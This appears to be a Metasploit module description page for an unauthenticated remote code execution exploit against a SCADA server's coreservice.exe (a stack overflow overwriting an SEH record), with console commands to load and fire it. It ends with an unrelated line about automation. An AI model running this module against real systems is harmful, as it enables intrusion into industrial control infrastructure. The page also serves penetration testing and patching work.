This module exploits a vulnerability in the coreservice.exe component of Proycon Core Server <= v1.13. While processing a password, the application fails to do proper bounds checking before copying data into a small buffer on the stack. This causes a buffer overflow and allows to overwrite a structured exception handling record on the stack, allowing for unauthenticated remote code execution. Also, after the payload exits, Coreservice.exe should automatically recover.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/scada/procyon_core_server
msf exploit(procyon_core_server) > show targets
...targets...
msf exploit(procyon_core_server) > set TARGET < target-id >
msf exploit(procyon_core_server) > show options
...show and set options...
msf exploit(procyon_core_server) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
